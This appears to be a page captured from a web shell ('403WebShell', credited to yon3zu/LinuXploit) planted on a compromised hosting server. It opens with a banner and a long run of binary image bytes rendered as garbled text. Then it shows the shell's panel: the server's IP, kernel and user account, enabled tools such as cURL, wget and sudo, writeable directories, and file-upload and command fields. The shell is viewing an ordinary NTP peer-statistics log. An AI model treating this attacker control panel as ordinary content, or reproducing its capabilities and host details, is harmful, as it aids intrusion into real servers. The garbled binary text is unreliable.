....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 66.235.200.170  /  Your IP : 3.137.198.249
Web Server : Apache
System : Linux gator4410.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : bmgxafte ( 1214)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/ntpstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/ntpstats/peerstats.20241101
60615 83.219 10.29.88.30 b61a 0.000337080 0.001332199 0.019477056 0.000269731
60615 1159.218 10.29.88.30 b61a 0.000161104 0.000941384 0.015509084 0.000158356
60615 3260.218 10.29.88.30 b61a 0.000090271 0.001317934 0.019414945 0.000229550
60615 4338.218 10.29.88.30 b61a -0.000281121 0.000774484 0.015492910 0.000502459
60615 6445.218 10.29.88.30 b61a -0.000471133 0.001001777 0.019110019 0.000561481
60615 7480.218 10.29.88.30 b61a -0.000919907 0.000682005 0.015100329 0.000810864
60615 9591.218 10.29.88.30 b61a -0.000446609 0.000935195 0.015260585 0.000376313
60615 10666.218 10.29.88.30 b61a -0.000283365 0.000850006 0.015412928 0.000418082
60615 12774.218 10.29.88.30 b61a 0.000259478 0.000921484 0.015248573 0.000878536
60615 14866.218 10.29.88.30 b61a 0.000380754 0.000673813 0.015175271 0.000786959
60615 17002.218 10.29.88.30 b61a 0.000433469 0.000889980 0.015318768 0.000451273
60615 19143.218 10.29.88.30 b61a -0.000192712 0.001210525 0.015511545 0.000504750
60615 21274.218 10.29.88.30 b61a -0.000037513 0.001103391 0.015518108 0.000335053
60615 22357.218 10.29.88.30 b61a -0.000393266 0.000673517 0.015599784 0.000588147
60615 23857.907 10.29.88.30 b014 0.000346274 0.001722293 7.937500073 0.000000000
60615 23922.905 10.29.88.30 b014 0.000138427 0.001008607 3.937743943 0.000207847
60615 23988.905 10.29.88.30 b014 0.000186164 0.001353519 1.937993381 0.000118140
60615 24055.905 10.29.88.30 b014 0.000149898 0.001236593 0.938186536 0.000115485
60615 24450.905 10.29.88.30 b61a -0.000176548 0.001121034 0.001775822 0.000308665
60615 24515.905 10.29.88.30 b61a 0.000052557 0.001012682 0.001352364 0.000152304
60615 25042.905 10.29.88.30 b61a -0.000225464 0.000790749 0.002960175 0.000144808
60615 25567.906 10.29.88.30 b61a -0.000031105 0.001019608 0.003486406 0.000138893
60615 25830.905 10.29.88.30 b61a -0.000267008 0.000991942 0.002857344 0.000269572
60615 26350.905 10.29.88.30 b61a 0.000231383 0.000881854 0.003093593 0.000319205
60615 27402.905 10.29.88.30 b61a 0.000034654 0.000892637 0.003879160 0.000220601
60615 28450.905 10.29.88.30 b61a 0.000005222 0.000917909 0.006156757 0.000101278
60615 28984.905 10.29.88.30 b61a 0.000050347 0.001007848 0.006287247 0.000139353
60615 29243.905 10.29.88.30 b61a 0.000113757 0.000860540 0.004393202 0.000199052
60615 29774.905 10.29.88.30 b61a -0.000175288 0.000778519 0.004119626 0.000190133
60615 31868.905 10.29.88.30 b61a -0.000060830 0.001089747 0.010079142 0.000140549
60615 32919.905 10.29.88.30 b61a -0.000096236 0.000831377 0.007527793 0.000115922
60615 35014.906 10.29.88.30 b61a 0.000165261 0.000860640 0.016785136 0.000091865
60615 36070.905 10.29.88.30 b61a 0.000120528 0.001113197 0.020582189 0.000102863
60615 36582.905 10.29.88.30 b61a 0.000024560 0.001126274 0.010456252 0.000187904
60615 38188.905 10.29.88.30 b61a 0.000377404 0.001051996 0.010734454 0.000175967
60615 39766.905 10.29.88.30 b61a 0.000388700 0.000910411 0.010590078 0.000149044
60615 40811.905 10.29.88.30 b61a 0.000288253 0.000751866 0.011489432 0.000145554
60615 42919.905 10.29.88.30 b61a 0.000234191 0.000729774 0.014331171 0.000143603
60615 45031.905 10.29.88.30 b61a 0.000101918 0.001117442 0.019173478 0.000227164
60615 46109.906 10.29.88.30 b61a 0.000207370 0.001248166 0.019463694 0.000173233
60615 47165.905 10.29.88.30 b61a 0.000467906 0.001090315 0.015367522 0.000229791
60615 48222.905 10.29.88.30 b61a 0.000499021 0.000855651 0.015332714 0.000253570
60615 50314.905 10.29.88.30 b61a 0.000329568 0.000881164 0.015139355 0.000170087
60615 52448.906 10.29.88.30 b61a 0.000254606 0.001099161 0.019438147 0.000206731
60615 53509.905 10.29.88.30 b61a -0.000245979 0.001163431 0.015379769 0.000647398
60615 54566.905 10.29.88.30 b61a -0.000736995 0.001135510 0.015338811 0.001045555
60615 56720.905 10.29.88.30 b61a -0.001082962 0.000916921 0.015504454 0.001110262
60615 57693.140 10.29.88.30 b014 -0.217480438 0.000832186 7.937500066 0.000000000
60615 57758.139 10.29.88.30 b014 -0.217463769 0.000732059 3.937743937 0.000016669
60615 57824.140 10.29.88.30 b014 -0.217359547 0.001116767 1.937993376 0.000112864
60615 57891.140 10.29.88.30 b014 -0.217665810 0.000982585 0.938186532 0.000237333
60615 57906.922 10.29.88.30 b014 0.000092799 0.001029397 7.937500157 0.000000000
60615 57974.922 10.29.88.30 b014 0.000239803 0.001193512 3.937755236 0.000147004
60615 58041.922 10.29.88.30 b014 0.000253400 0.000929247 1.938004649 0.000113968
60615 58109.922 10.29.88.30 b014 0.000177920 0.001260971 0.938198733 0.000074772
60615 58574.922 10.29.88.30 b61a 0.000164074 0.001120216 0.003978947 0.000097559
60615 58903.922 10.29.88.30 b61a 0.000096942 0.000980678 0.002359181 0.000155394
60615 59429.922 10.29.88.30 b61a -0.000022696 0.001237986 0.002867777 0.000198660
60615 59495.922 10.29.88.30 b61a 0.000020499 0.001131983 0.001911643 0.000128828
60615 60016.923 10.29.88.30 b61a 0.000023916 0.001186479 0.002585530 0.000096471
60615 60406.922 10.29.88.30 b61a -0.000198458 0.001173217 0.003644319 0.000192952
60615 60930.922 10.29.88.30 b61a 0.000027408 0.000801399 0.003270488 0.000154577
60615 61986.923 10.29.88.30 b61a -0.000151192 0.001068904 0.004966778 0.000093563
60615 62120.922 10.29.88.30 b61a -0.000038121 0.001044762 0.003453653 0.000155441
60615 62249.922 10.29.88.30 b61a -0.000181190 0.000999728 0.002640312 0.000103447
60615 62775.922 10.29.88.30 b61a -0.000047868 0.000940830 0.005051737 0.000153671
60615 64868.922 10.29.88.30 b61a -0.000211302 0.001123712 0.009714689 0.000137880
60615 65139.922 10.29.88.30 b61a -0.000036283 0.001062505 0.004876310 0.000170984
60615 67249.922 10.29.88.30 b61a -0.000109501 0.001186632 0.014366507 0.000084117
60615 68837.923 10.29.88.30 b61a -0.000080374 0.001195092 0.018689203 0.000077827
60615 69887.922 10.29.88.30 b61a 0.000219851 0.001393520 0.010030338 0.000283744
60615 70405.922 10.29.88.30 b61a 0.000281832 0.001119477 0.008537074 0.000280059
60615 72505.922 10.29.88.30 b61a 0.000489423 0.001155299 0.014017346 0.000280671
60615 74626.922 10.29.88.30 b61a -0.000543574 0.001302666 0.013495688 0.000854205
60615 76729.923 10.29.88.30 b61a -0.000485855 0.001352080 0.018901606 0.000697849
60615 77765.922 10.29.88.30 b61a -0.000647479 0.001229028 0.015000668 0.000771493
60615 79911.923 10.29.88.30 b61a -0.000560511 0.001355323 0.019472779 0.000455266
60615 80958.923 10.29.88.30 b61a -0.000292506 0.001577787 0.019221355 0.000291064
60615 82026.922 10.29.88.30 b61a -0.000323400 0.001318909 0.015379069 0.000241828
60615 83104.922 10.29.88.30 b61a -0.000005403 0.001211380 0.015494731 0.000499579
60615 85226.922 10.29.88.30 b61a -0.000131099 0.001367163 0.019406392 0.000281932
60615 86272.923 10.29.88.30 b61a 0.000080606 0.001377911 0.015269732 0.000372320

Youez - 2016 - github.com/yon3zu
LinuXploit